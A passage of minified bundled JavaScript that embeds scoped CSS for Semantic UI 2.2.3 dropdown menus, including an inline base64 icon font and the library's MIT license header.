.icon[data-v-39db36c6],.ui.dropdown .menu>.input:not(.transparent) .label[data-v-39db36c6]{padding-top:.5em;padding-bottom:.5em}.ui.dropdown .menu>.item>.description[data-v-39db36c6],.ui.dropdown>.text>.description[data-v-39db36c6]{float:right;margin:0 0 0 1em;color:rgba(0,0,0,.4)}.ui.dropdown .menu>.message[data-v-39db36c6]{padding:.78571429rem 1.14285714rem;font-weight:400}.ui.dropdown .menu>.message[data-v-39db36c6]:not(.ui){color:rgba(0,0,0,.4)}.ui.dropdown .menu .menu[data-v-39db36c6]{top:0!important;left:100%!important;right:auto!important;margin:0 0 0 -.5em!important;border-radius:.28571429rem!important;z-index:21!important}.ui.dropdown .menu .menu[data-v-39db36c6]:after{display:none}.ui.dropdown .menu>.item>.flag[data-v-39db36c6],.ui.dropdown .menu>.item>.icon[data-v-39db36c6],.ui.dropdown .menu>.item>.image[data-v-39db36c6],.ui.dropdown .menu>.item>.label[data-v-39db36c6],.ui.dropdown .menu>.item>img[data-v-39db36c6],.ui.dropdown>.text>.flag[data-v-39db36c6],.ui.dropdown>.text>.icon[data-v-39db36c6],.ui.dropdown>.text>.image[data-v-39db36c6],.ui.dropdown>.text>.label[data-v-39db36c6],.ui.dropdown>.text>img[data-v-39db36c6]{margin-top:0}.ui.dropdown .menu>.item>.flag[data-v-39db36c6],.ui.dropdown .menu>.item>.icon[data-v-39db36c6],.ui.dropdown .menu>.item>.image[data-v-39db36c6],.ui.dropdown .menu>.item>.label[data-v-39db36c6],.ui.dropdown .menu>.item>img[data-v-39db36c6],.ui.dropdown>.text>.flag[data-v-39db36c6],.ui.dropdown>.text>.icon[data-v-39db36c6],.ui.dropdown>.text>.image[data-v-39db36c6],.ui.dropdown>.text>.label[data-v-39db36c6],.ui.dropdown>.text>img[data-v-39db36c6]{margin-left:0;float:none;margin-right:.78571429rem}.ui.dropdown .menu>.item>.image[data-v-39db36c6],.ui.dropdown .menu>.item>img[data-v-39db36c6],.ui.dropdown>.text>.image[data-v-39db36c6],.ui.dropdown>.text>img[data-v-39db36c6]{display:inline-block;vertical-align:middle;width:auto;max-height:2em}.ui.dropdown .ui.menu>.item[data-v-39db36c6]:before,.ui.menu .ui.dropdown .menu>.item[data-v-39db36c6]:before{display:none}.ui.menu .ui.dropdown .menu .active.item[data-v-39db36c6]{border-left:none}.ui.buttons>.ui.dropdown:last-child .menu[data-v-39db36c6],.ui.menu .right.dropdown.item .menu[data-v-39db36c6],.ui.menu .right.menu .dropdown:last-child .menu[data-v-39db36c6]{left:auto;right:0}.ui.label.dropdown .menu[data-v-39db36c6]{min-width:100%}.ui.dropdown.icon.button>.dropdown.icon[data-v-39db36c6]{margin:0}.ui.button.dropdown .menu[data-v-39db36c6]{min-width:100%}.ui.selection.dropdown[data-v-39db36c6]{cursor:pointer;word-wrap:break-word;line-height:1em;white-space:normal;outline:0;-webkit-transform:rotate(0deg);transform:rotate(0deg);min-width:14em;min-height:2.7142em;background:#fff;display:inline-block;padding:.78571429em 2.1em .78571429em 1em;color:rgba(0,0,0,.87);box-shadow:none;border:1px solid rgba(34,36,38,.15);border-radius:.28571429rem;-webkit-transition:box-shadow .1s ease,width .1s ease;transition:box-shadow .1s ease,width .1s ease}.ui.selection.dropdown.active[data-v-39db36c6],.ui.selection.dropdown.visible[data-v-39db36c6]{z-index:10}select.ui.dropdown[data-v-39db36c6]{height:38px;padding:.5em;border:1px solid rgba(34,36,38,.15);visibility:visible}.ui.selection.dropdown>.delete.icon[data-v-39db36c6],.ui.selection.dropdown>.dropdown.icon[data-v-39db36c6],.ui.selection.dropdown>.search.icon[data-v-39db36c6]{cursor:pointer;position:absolute;width:auto;height:auto;line-height:1.2142em;top:.78571429em;right:1em;z-index:3;margin:-.78571429em;padding:.78571429em;opacity:.8;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.compact.selection.dropdown[data-v-39db36c6]{min-width:0}.ui.selection.dropdown .menu[data-v-39db36c6]{overflow-x:hidden;overflow-y:auto;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-overflow-scrolling:touch;border-top-width:0!important;width:auto;outline:none;margin:0 -1px;min-width:calc(100% + 2px);width:calc(100% + 2px);border-radius:0 0 .28571429rem .28571429rem;box-shadow:0 2px 3px 0 rgba(34,36,38,.15);-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.selection.dropdown .menu[data-v-39db36c6]:after,.ui.selection.dropdown .menu[data-v-39db36c6]:before{display:none}.ui.selection.dropdown .menu>.message[data-v-39db36c6]{padding:.78571429rem 1.14285714rem}@media only screen and (max-width:767px){.ui.selection.dropdown .menu[data-v-39db36c6]{max-height:8.01428571rem}}@media only screen and (min-width:768px){.ui.selection.dropdown .menu[data-v-39db36c6]{max-height:10.68571429rem}}@media only screen and (min-width:992px){.ui.selection.dropdown .menu[data-v-39db36c6]{max-height:16.02857143rem}}@media only screen and (min-width:1920px){.ui.selection.dropdown .menu[data-v-39db36c6]{max-height:21.37142857rem}}.ui.selection.dropdown .menu>.item[data-v-39db36c6]{border-top:1px solid #fafafa;padding:.78571429rem 1.14285714rem!important;white-space:normal;word-wrap:normal}.ui.selection.dropdown .menu>.hidden.addition.item[data-v-39db36c6]{display:none}.ui.selection.dropdown[data-v-39db36c6]:hover{border-color:rgba(34,36,38,.35);box-shadow:none}.ui.selection.active.dropdown .menu[data-v-39db36c6],.ui.selection.active.dropdown[data-v-39db36c6]{border-color:#96c8da;box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.selection.dropdown[data-v-39db36c6]:focus{border-color:#96c8da;box-shadow:none}.ui.selection.dropdown:focus .menu[data-v-39db36c6]{border-color:#96c8da;box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.selection.visible.dropdown>.text[data-v-39db36c6]:not(.default){font-weight:400;color:rgba(0,0,0,.8)}.ui.selection.active.dropdown:hover .menu[data-v-39db36c6],.ui.selection.active.dropdown[data-v-39db36c6]:hover{border-color:#96c8da;box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.active.selection.dropdown>.dropdown.icon[data-v-39db36c6],.ui.visible.selection.dropdown>.dropdown.icon[data-v-39db36c6]{opacity:1;z-index:3}.ui.active.selection.dropdown[data-v-39db36c6]{border-bottom-left-radius:0!important;border-bottom-right-radius:0!important}.ui.active.empty.selection.dropdown[data-v-39db36c6]{border-radius:.28571429rem!important;box-shadow:none!important}.ui.active.empty.selection.dropdown .menu[data-v-39db36c6]{border:none!important;box-shadow:none!important}.ui.search.dropdown[data-v-39db36c6]{min-width:''}.ui.search.dropdown>input.search[data-v-39db36c6]{background:none transparent!important;border:none!important;box-shadow:none!important;cursor:text;top:0;left:1px;width:100%;outline:none;-webkit-tap-highlight-color:rgba(255,255,255,0);padding:inherit;position:absolute;z-index:2}.ui.search.dropdown>.text[data-v-39db36c6]{cursor:text;position:relative;left:1px;z-index:3}.ui.search.selection.dropdown>input.search[data-v-39db36c6],.ui.search.selection.dropdown>span.sizer[data-v-39db36c6]{line-height:1.2142em;padding:.67861429em 2.1em .67861429em 1em}.ui.search.selection.dropdown>span.sizer[data-v-39db36c6]{display:none;white-space:pre}.ui.search.dropdown.active>input.search[data-v-39db36c6],.ui.search.dropdown.visible>input.search[data-v-39db36c6]{cursor:auto}.ui.search.dropdown.active>.text[data-v-39db36c6],.ui.search.dropdown.visible>.text[data-v-39db36c6]{pointer-events:none}.ui.active.search.dropdown input.search:focus+.text .flag[data-v-39db36c6],.ui.active.search.dropdown input.search:focus+.text .icon[data-v-39db36c6]{opacity:.45}.ui.active.search.dropdown input.search:focus+.text[data-v-39db36c6]{color:hsla(0,0%,45%,.87)!important}.ui.search.dropdown .menu[data-v-39db36c6]{overflow-x:hidden;overflow-y:auto;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-overflow-scrolling:touch}@media only screen and (max-width:767px){.ui.search.dropdown .menu[data-v-39db36c6]{max-height:8.01428571rem}}@media only screen and (min-width:768px){.ui.search.dropdown .menu[data-v-39db36c6]{max-height:10.68571429rem}}@media only screen and (min-width:992px){.ui.search.dropdown .menu[data-v-39db36c6]{max-height:16.02857143rem}}@media only screen and (min-width:1920px){.ui.search.dropdown .menu[data-v-39db36c6]{max-height:21.37142857rem}}.ui.multiple.dropdown[data-v-39db36c6]{padding:.22620476em 2.1em .22620476em .35714286em}.ui.multiple.dropdown .menu[data-v-39db36c6]{cursor:auto}.ui.multiple.search.dropdown>input.search[data-v-39db36c6],.ui.multiple.search.dropdown[data-v-39db36c6]{cursor:text}.ui.multiple.dropdown>.label[data-v-39db36c6]{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;display:inline-block;vertical-align:top;white-space:normal;font-size:1em;padding:.35714286em .78571429em;margin:.14285714rem .28571429rem .14285714rem 0;box-shadow:inset 0 0 0 1px rgba(34,36,38,.15)}.ui.multiple.dropdown .dropdown.icon[data-v-39db36c6]{margin:'';padding:''}.ui.multiple.dropdown>.text[data-v-39db36c6]{position:static;padding:0;max-width:100%;margin:.45240952em 0 .45240952em .64285714em;line-height:1.21428571em}.ui.multiple.dropdown>.label~input.search[data-v-39db36c6]{margin-left:.14285714em!important}.ui.multiple.dropdown>.label~.text[data-v-39db36c6]{display:none}.ui.multiple.search.dropdown>.text[data-v-39db36c6]{display:inline-block;position:absolute;top:0;left:0;padding:inherit;margin:.45240952em 0 .45240952em .64285714em;line-height:1.21428571em}.ui.multiple.search.dropdown>.label~.text[data-v-39db36c6]{display:none}.ui.multiple.search.dropdown>input.search[data-v-39db36c6]{position:static;padding:0;max-width:100%;margin:.45240952em 0 .45240952em .64285714em;width:2.2em;line-height:1.21428571em}.ui.inline.dropdown[data-v-39db36c6]{cursor:pointer;display:inline-block;color:inherit}.ui.inline.dropdown .dropdown.icon[data-v-39db36c6]{margin:0 .5em 0 .21428571em;vertical-align:baseline}.ui.inline.dropdown>.text[data-v-39db36c6]{font-weight:700}.ui.inline.dropdown .menu[data-v-39db36c6]{cursor:auto;margin-top:.21428571em;border-radius:.28571429rem}.ui.dropdown .menu .active.item[data-v-39db36c6]{background:transparent;font-weight:700;color:rgba(0,0,0,.95);box-shadow:none;z-index:12}.ui.dropdown .menu>.item[data-v-39db36c6]:hover{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95);z-index:13}.ui.loading.dropdown>i.icon[data-v-39db36c6]{height:1em!important;padding:1.14285714em 1.07142857em!important}.ui.loading.dropdown>i.icon[data-v-39db36c6]:before{border-radius:500rem;border:.2em solid rgba(0,0,0,.1)}.ui.loading.dropdown>i.icon[data-v-39db36c6]:after,.ui.loading.dropdown>i.icon[data-v-39db36c6]:before{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em}.ui.loading.dropdown>i.icon[data-v-39db36c6]:after{box-shadow:0 0 0 1px transparent;-webkit-animation:dropdown-spin .6s linear;animation:dropdown-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 transparent transparent;border-style:solid;border-width:.2em}.ui.loading.dropdown.button>i.icon[data-v-39db36c6]:after,.ui.loading.dropdown.button>i.icon[data-v-39db36c6]:before{display:none}@-webkit-keyframes dropdown-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes dropdown-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.ui.default.dropdown:not(.button)>.text[data-v-39db36c6],.ui.dropdown:not(.button)>.default.text[data-v-39db36c6]{color:hsla(0,0%,75%,.87)}.ui.default.dropdown:not(.button)>input:focus+.text[data-v-39db36c6],.ui.dropdown:not(.button)>input:focus+.default.text[data-v-39db36c6]{color:hsla(0,0%,45%,.87)}.ui.loading.dropdown>.text[data-v-39db36c6]{-webkit-transition:none;transition:none}.ui.dropdown .loading.menu[data-v-39db36c6]{display:block;visibility:hidden;z-index:-1}.ui.dropdown .menu .selected.item[data-v-39db36c6],.ui.dropdown.selected[data-v-39db36c6]{background:rgba(0,0,0,.03);color:rgba(0,0,0,.95)}.ui.dropdown>.filtered.text[data-v-39db36c6]{visibility:hidden}.ui.dropdown .filtered.item[data-v-39db36c6]{display:none!important}.ui.dropdown.error>.default.text[data-v-39db36c6],.ui.dropdown.error>.text[data-v-39db36c6],.ui.dropdown.error[data-v-39db36c6]{color:#9f3a38}.ui.selection.dropdown.error[data-v-39db36c6]{background:#fff6f6;border-color:#e0b4b4}.ui.dropdown.error>.menu .menu[data-v-39db36c6],.ui.dropdown.error>.menu[data-v-39db36c6],.ui.selection.dropdown.error[data-v-39db36c6]:hover{border-color:#e0b4b4}.ui.dropdown.error>.menu>.item[data-v-39db36c6]{color:#9f3a38}.ui.multiple.selection.error.dropdown>.label[data-v-39db36c6]{border-color:#e0b4b4}.ui.dropdown.error>.menu>.item[data-v-39db36c6]:hover{background-color:#fff2f2}.ui.dropdown.error>.menu .active.item[data-v-39db36c6]{background-color:#fdcfcf}.ui.disabled.dropdown[data-v-39db36c6],.ui.dropdown .menu>.disabled.item[data-v-39db36c6]{cursor:default;pointer-events:none;opacity:.45}.ui.dropdown .menu[data-v-39db36c6]{left:0}.ui.dropdown .menu .right.menu[data-v-39db36c6],.ui.dropdown .right.menu>.menu[data-v-39db36c6]{left:100%!important;right:auto!important;border-radius:.28571429rem!important}.ui.dropdown .menu .left.menu[data-v-39db36c6],.ui.dropdown>.left.menu .menu[data-v-39db36c6]{left:auto!important;right:100%!important;border-radius:.28571429rem!important}.ui.dropdown .item .left.dropdown.icon[data-v-39db36c6],.ui.dropdown .left.menu .item .dropdown.icon[data-v-39db36c6]{width:auto;float:left;margin:0 .78571429rem 0 0}.ui.dropdown .item .left.dropdown.icon+.text[data-v-39db36c6],.ui.dropdown .left.menu .item .dropdown.icon+.text[data-v-39db36c6]{margin-left:1em}.ui.upward.dropdown>.menu[data-v-39db36c6]{top:auto;bottom:100%;box-shadow:0 0 3px 0 rgba(0,0,0,.08);border-radius:.28571429rem .28571429rem 0 0}.ui.dropdown .upward.menu[data-v-39db36c6]{top:auto!important;bottom:0!important}.ui.simple.upward.active.dropdown[data-v-39db36c6],.ui.simple.upward.dropdown[data-v-39db36c6]:hover{border-radius:.28571429rem .28571429rem 0 0!important}.ui.upward.dropdown.button:not(.pointing):not(.floating).active[data-v-39db36c6]{border-radius:.28571429rem .28571429rem 0 0}.ui.upward.selection.dropdown .menu[data-v-39db36c6]{border-top-width:1px!important;border-bottom-width:0!important;box-shadow:0 -2px 3px 0 rgba(0,0,0,.08)}.ui.upward.selection.dropdown[data-v-39db36c6]:hover{box-shadow:0 0 2px 0 rgba(0,0,0,.05)}.ui.active.upward.selection.dropdown[data-v-39db36c6]{border-radius:0 0 .28571429rem .28571429rem!important}.ui.upward.selection.dropdown.visible[data-v-39db36c6]{box-shadow:0 0 3px 0 rgba(0,0,0,.08);border-radius:0 0 .28571429rem .28571429rem!important}.ui.upward.active.selection.dropdown[data-v-39db36c6]:hover{box-shadow:0 0 3px 0 rgba(0,0,0,.05)}.ui.upward.active.selection.dropdown:hover .menu[data-v-39db36c6]{box-shadow:0 -2px 3px 0 rgba(0,0,0,.08)}.ui.dropdown .scrolling.menu[data-v-39db36c6],.ui.scrolling.dropdown .menu[data-v-39db36c6]{overflow-x:hidden;overflow-y:auto}.ui.scrolling.dropdown .menu[data-v-39db36c6]{overflow-x:hidden;overflow-y:auto;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-overflow-scrolling:touch;min-width:100%!important;width:auto!important}.ui.dropdown .scrolling.menu[data-v-39db36c6]{position:static;overflow-y:auto;border:none;box-shadow:none!important;border-radius:0!important;margin:0!important;min-width:100%!important;width:auto!important;border-top:1px solid rgba(34,36,38,.15)}.ui.dropdown .scrolling.menu>.item.item.item[data-v-39db36c6],.ui.scrolling.dropdown .menu .item.item.item[data-v-39db36c6]{border-top:none;padding-right:calc(1.14285714rem + 17px)!important}.ui.dropdown .scrolling.menu .item[data-v-39db36c6]:first-child,.ui.scrolling.dropdown .menu .item[data-v-39db36c6]:first-child{border-top:none}.ui.dropdown>.animating.menu .scrolling.menu[data-v-39db36c6],.ui.dropdown>.visible.menu .scrolling.menu[data-v-39db36c6]{display:block}@media all and (-ms-high-contrast:none){.ui.dropdown .scrolling.menu[data-v-39db36c6],.ui.scrolling.dropdown .menu[data-v-39db36c6]{min-width:calc(100% - 17px)}}@media only screen and (max-width:767px){.ui.dropdown .scrolling.menu[data-v-39db36c6],.ui.scrolling.dropdown .menu[data-v-39db36c6]{max-height:10.28571429rem}}@media only screen and (min-width:768px){.ui.dropdown .scrolling.menu[data-v-39db36c6],.ui.scrolling.dropdown .menu[data-v-39db36c6]{max-height:15.42857143rem}}@media only screen and (min-width:992px){.ui.dropdown .scrolling.menu[data-v-39db36c6],.ui.scrolling.dropdown .menu[data-v-39db36c6]{max-height:20.57142857rem}}@media only screen and (min-width:1920px){.ui.dropdown .scrolling.menu[data-v-39db36c6],.ui.scrolling.dropdown .menu[data-v-39db36c6]{max-height:20.57142857rem}}.ui.simple.dropdown .menu[data-v-39db36c6]:after,.ui.simple.dropdown .menu[data-v-39db36c6]:before{display:none}.ui.simple.dropdown .menu[data-v-39db36c6]{position:absolute;display:block;overflow:hidden;top:-9999px!important;opacity:0;width:0;height:0;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.simple.active.dropdown[data-v-39db36c6],.ui.simple.dropdown[data-v-39db36c6]:hover{border-bottom-left-radius:0!important;border-bottom-right-radius:0!important}.ui.simple.active.dropdown>.menu[data-v-39db36c6],.ui.simple.dropdown:hover>.menu[data-v-39db36c6]{overflow:visible;width:auto;height:auto;top:100%!important;opacity:1}.ui.simple.dropdown:hover>.menu>.item:hover>.menu[data-v-39db36c6],.ui.simple.dropdown>.menu>.item:active>.menu[data-v-39db36c6]{overflow:visible;width:auto;height:auto;top:0!important;left:100%!important;opacity:1}.ui.simple.disabled.dropdown:hover .menu[data-v-39db36c6]{display:none;height:0;width:0;overflow:hidden}.ui.simple.visible.dropdown>.menu[data-v-39db36c6]{display:block}.ui.fluid.dropdown[data-v-39db36c6]{display:block;width:100%;min-width:0}.ui.fluid.dropdown>.dropdown.icon[data-v-39db36c6]{float:right}.ui.floating.dropdown .menu[data-v-39db36c6]{left:0;right:auto;box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)!important;border-radius:.28571429rem!important}.ui.floating.dropdown>.menu[data-v-39db36c6]{margin-top:.5em!important;border-radius:.28571429rem!important}.ui.pointing.dropdown>.menu[data-v-39db36c6]{top:100%;margin-top:.78571429rem;border-radius:.28571429rem}.ui.pointing.dropdown>.menu[data-v-39db36c6]:after{display:block;position:absolute;pointer-events:none;content:'';visibility:visible;-webkit-transform:rotate(45deg);transform:rotate(45deg);width:.5em;height:.5em;box-shadow:-1px -1px 0 1px rgba(34,36,38,.15);background:#fff;z-index:2;top:-.25em;left:50%;margin:0 0 0 -.25em}.ui.top.left.pointing.dropdown>.menu[data-v-39db36c6]{top:100%;bottom:auto;left:0;right:auto;margin:1em 0 0}.ui.top.left.pointing.dropdown>.menu[data-v-39db36c6]:after{top:-.25em;left:1em;right:auto;margin:0;-webkit-transform:rotate(45deg);transform:rotate(45deg)}.ui.top.right.pointing.dropdown>.menu[data-v-39db36c6]{top:100%;bottom:auto;right:0;left:auto;margin:1em 0 0}.ui.top.right.pointing.dropdown>.menu[data-v-39db36c6]:after{top:-.25em;left:auto;right:1em;margin:0;-webkit-transform:rotate(45deg);transform:rotate(45deg)}.ui.left.pointing.dropdown>.menu[data-v-39db36c6]{top:0;left:100%;right:auto;margin:0 0 0 1em}.ui.left.pointing.dropdown>.menu[data-v-39db36c6]:after{top:1em;left:-.25em;margin:0;-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.ui.right.pointing.dropdown>.menu[data-v-39db36c6]{top:0;left:auto;right:100%;margin:0 1em 0 0}.ui.right.pointing.dropdown>.menu[data-v-39db36c6]:after{top:1em;left:auto;right:-.25em;margin:0;-webkit-transform:rotate(135deg);transform:rotate(135deg)}.ui.bottom.pointing.dropdown>.menu[data-v-39db36c6]{top:auto;bottom:100%;left:0;right:auto;margin:0 0 1em}.ui.bottom.pointing.dropdown>.menu[data-v-39db36c6]:after{top:auto;bottom:-.25em;right:auto;margin:0;-webkit-transform:rotate(-135deg);transform:rotate(-135deg)}.ui.bottom.pointing.dropdown>.menu .menu[data-v-39db36c6]{top:auto!important;bottom:0!important}.ui.bottom.left.pointing.dropdown>.menu[data-v-39db36c6]{left:0;right:auto}.ui.bottom.left.pointing.dropdown>.menu[data-v-39db36c6]:after{left:1em;right:auto}.ui.bottom.right.pointing.dropdown>.menu[data-v-39db36c6]{right:0;left:auto}.ui.bottom.right.pointing.dropdown>.menu[data-v-39db36c6]:after{left:auto;right:1em}.ui.upward.pointing.dropdown>.menu[data-v-39db36c6],.ui.upward.top.pointing.dropdown>.menu[data-v-39db36c6]{top:auto;bottom:100%;margin:0 0 .78571429rem;border-radius:.28571429rem}.ui.upward.pointing.dropdown>.menu[data-v-39db36c6]:after,.ui.upward.top.pointing.dropdown>.menu[data-v-39db36c6]:after{top:100%;bottom:auto;box-shadow:1px 1px 0 1px rgba(34,36,38,.15);margin:-.25em 0 0}@font-face{font-family:Dropdown;src:url(data:application/x-font-ttf;charset=utf-8;base64,AAEAAAALAIAAAwAwT1MvMggjB5AAAAC8AAAAYGNtYXAPfuIIAAABHAAAAExnYXNwAAAAEAAAAWgAAAAIZ2x5Zjo82LgAAAFwAAABVGhlYWQAQ88bAAACxAAAADZoaGVhAwcB6QAAAvwAAAAkaG10eAS4ABIAAAMgAAAAIGxvY2EBNgDeAAADQAAAABJtYXhwAAoAFgAAA1QAAAAgbmFtZVcZpu4AAAN0AAABRXBvc3QAAwAAAAAEvAAAACAAAwIAAZAABQAAAUwBZgAAAEcBTAFmAAAA9QAZAIQAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADw2gHg/+D/4AHgACAAAAABAAAAAAAAAAAAAAAgAAAAAAACAAAAAwAAABQAAwABAAAAFAAEADgAAAAKAAgAAgACAAEAIPDa//3//wAAAAAAIPDX//3//wAB/+MPLQADAAEAAAAAAAAAAAAAAAEAAf//AA8AAQAAAAAAAAAAAAIAADc5AQAAAAABAAAAAAAAAAAAAgAANzkBAAAAAAEAAAAAAAAAAAACAAA3OQEAAAAAAQAAAIABJQElABMAABM0NzY3BTYXFhUUDwEGJwYvASY1AAUGBwEACAUGBoAFCAcGgAUBEgcGBQEBAQcECQYHfwYBAQZ/BwYAAQAAAG4BJQESABMAADc0PwE2MzIfARYVFAcGIyEiJyY1AAWABgcIBYAGBgUI/wAHBgWABwaABQWABgcHBgUFBgcAAAABABIASQC3AW4AEwAANzQ/ATYXNhcWHQEUBwYnBi8BJjUSBoAFCAcFBgYFBwgFgAbbBwZ/BwEBBwQJ/wgEBwEBB38GBgAAAAABAAAASQClAW4AEwAANxE0NzYzMh8BFhUUDwEGIyInJjUABQYHCAWABgaABQgHBgVbAQAIBQYGgAUIBwWABgYFBwAAAAEAAAABAADZuaKOXw889QALAgAAAAAA0ABHWAAAAADQAEdYAAAAAAElAW4AAAAIAAIAAAAAAAAAAQAAAeD/4AAAAgAAAAAAASUAAQAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAABAAAAASUAAAElAAAAtwASALcAAAAAAAAACgAUAB4AQgBkAIgAqgAAAAEAAAAIABQAAQAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAOAK4AAQAAAAAAAQAOAAAAAQAAAAAAAgAOAEcAAQAAAAAAAwAOACQAAQAAAAAABAAOAFUAAQAAAAAABQAWAA4AAQAAAAAABgAHADIAAQAAAAAACgA0AGMAAwABBAkAAQAOAAAAAwABBAkAAgAOAEcAAwABBAkAAwAOACQAAwABBAkABAAOAFUAAwABBAkABQAWAA4AAwABBAkABgAOADkAAwABBAkACgA0AGMAaQBjAG8AbQBvAG8AbgBWAGUAcgBzAGkAbwBuACAAMQAuADAAaQBjAG8AbQBvAG8Abmljb21vb24AaQBjAG8AbQBvAG8AbgBSAGUAZwB1AGwAYQByAGkAYwBvAG0AbwBvAG4ARgBvAG4AdAAgAGcAZQBuAGUAcgBhAHQAZQBkACAAYgB5ACAASQBjAG8ATQBvAG8AbgAuAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=) format('truetype'),url(data:application/font-woff;charset=utf-8;base64,d09GRk9UVE8AAAVwAAoAAAAABSgAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAAA9AAAAdkAAAHZLDXE/09TLzIAAALQAAAAYAAAAGAIIweQY21hcAAAAzAAAABMAAAATA9+4ghnYXNwAAADfAAAAAgAAAAIAAAAEGhlYWQAAAOEAAAANgAAADYAQ88baGhlYQAAA7wAAAAkAAAAJAMHAelobXR4AAAD4AAAACAAAAAgBLgAEm1heHAAAAQAAAAABgAAAAYACFAAbmFtZQAABAgAAAFFAAABRVcZpu5wb3N0AAAFUAAAACAAAAAgAAMAAAEABAQAAQEBCGljb21vb24AAQIAAQA6+BwC+BsD+BgEHgoAGVP/i4seCgAZU/+LiwwHi2v4lPh0BR0AAACIDx0AAACNER0AAAAJHQAAAdASAAkBAQgPERMWGyAlKmljb21vb25pY29tb29udTB1MXUyMHVGMEQ3dUYwRDh1RjBEOXVGMERBAAACAYkABgAIAgABAAQABwAKAA0AVgCfAOgBL/yUDvyUDvyUDvuUDvtvi/emFYuQjZCOjo+Pj42Qiwj3lIsFkIuQiY6Hj4iNhouGi4aJh4eHCPsU+xQFiIiGiYaLhouHjYeOCPsU9xQFiI+Jj4uQCA77b4v3FBWLkI2Pjo8I9xT3FAWPjo+NkIuQi5CJjogI9xT7FAWPh42Hi4aLhomHh4eIiIaJhosI+5SLBYaLh42HjoiPiY+LkAgO+92d928Vi5CNkI+OCPcU9xQFjo+QjZCLkIuPiY6Hj4iNhouGCIv7lAWLhomHh4iIh4eJhouGi4aNiI8I+xT3FAWHjomPi5AIDvvdi+YVi/eUBYuQjZCOjo+Pj42Qi5CLkImOhwj3FPsUBY+IjYaLhouGiYeHiAj7FPsUBYiHhomGi4aLh42Hj4iOiY+LkAgO+JQU+JQViwwKAAAAAAMCAAGQAAUAAAFMAWYAAABHAUwBZgAAAPUAGQCEAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAQAAA8NoB4P/g/+AB4AAgAAAAAQAAAAAAAAAAAAAAIAAAAAAAAgAAAAMAAAAUAAMAAQAAABQABAA4AAAACgAIAAIAAgABACDw2v/9//8AAAAAACDw1//9//8AAf/jDy0AAwABAAAAAAAAAAAAAAABAAH//wAPAAEAAAABAAA5emozXw889QALAgAAAAAA0ABHWAAAAADQAEdYAAAAAAElAW4AAAAIAAIAAAAAAAAAAQAAAeD/4AAAAgAAAAAAASUAAQAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAABAAAAASUAAAElAAAAtwASALcAAAAAUAAACAAAAAAADgCuAAEAAAAAAAEADgAAAAEAAAAAAAIADgBHAAEAAAAAAAMADgAkAAEAAAAAAAQADgBVAAEAAAAAAAUAFgAOAAEAAAAAAAYABwAyAAEAAAAAAAoANABjAAMAAQQJAAEADgAAAAMAAQQJAAIADgBHAAMAAQQJAAMADgAkAAMAAQQJAAQADgBVAAMAAQQJAAUAFgAOAAMAAQQJAAYADgA5AAMAAQQJAAoANABjAGkAYwBvAG0AbwBvAG4AVgBlAHIAcwBpAG8AbgAgADEALgAwAGkAYwBvAG0AbwBvAG5pY29tb29uAGkAYwBvAG0AbwBvAG4AUgBlAGcAdQBsAGEAcgBpAGMAbwBtAG8AbwBuAEYAbwBuAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAgAGIAeQAgAEkAYwBvAE0AbwBvAG4ALgAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) format('woff');font-weight:400;font-style:normal}.ui.dropdown>.dropdown.icon[data-v-39db36c6]{font-family:Dropdown;line-height:1;height:1em;width:1.23em;-webkit-backface-visibility:hidden;backface-visibility:hidden;font-weight:400;font-style:normal;text-align:center;width:auto}.ui.dropdown>.dropdown.icon[data-v-39db36c6]:before{content:'\\F0D7'}.ui.dropdown .menu .item .dropdown.icon[data-v-39db36c6]:before{content:'\\F0DA'}.ui.dropdown .item .left.dropdown.icon[data-v-39db36c6]:before,.ui.dropdown .left.menu .item .dropdown.icon[data-v-39db36c6]:before{content:\"\\F0D9\"}.ui.vertical.menu .dropdown.item>.dropdown.icon[data-v-39db36c6]:before{content:\"\\F0DA\"}",""])},function(t,e,o){e=t.exports=o(4)(),e.push([t.id,".ui.dropdown .menu>.item:hover{background:none transparent!important}.ui.dropdown .menu>.item.current{background:rgba(0,0,0,.05)!important}",""])},function(t,e,o){e=t.exports=o(4)(),e.push([t.id,"/*!\n * # Semantic UI 2.2.3 - Dropdown\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */.ui.dropdown[data-v-3d374dd8]{cursor:pointer;position:relative;display:inline-block;outline:none;text-align:left;-webkit-transition:box-shadow .1s ease,width .1s ease;transition:box-shadow .1s ease,width .1s ease;-webkit-tap-highlight-color:rgba(0,0,0,0)}.ui.dropdown 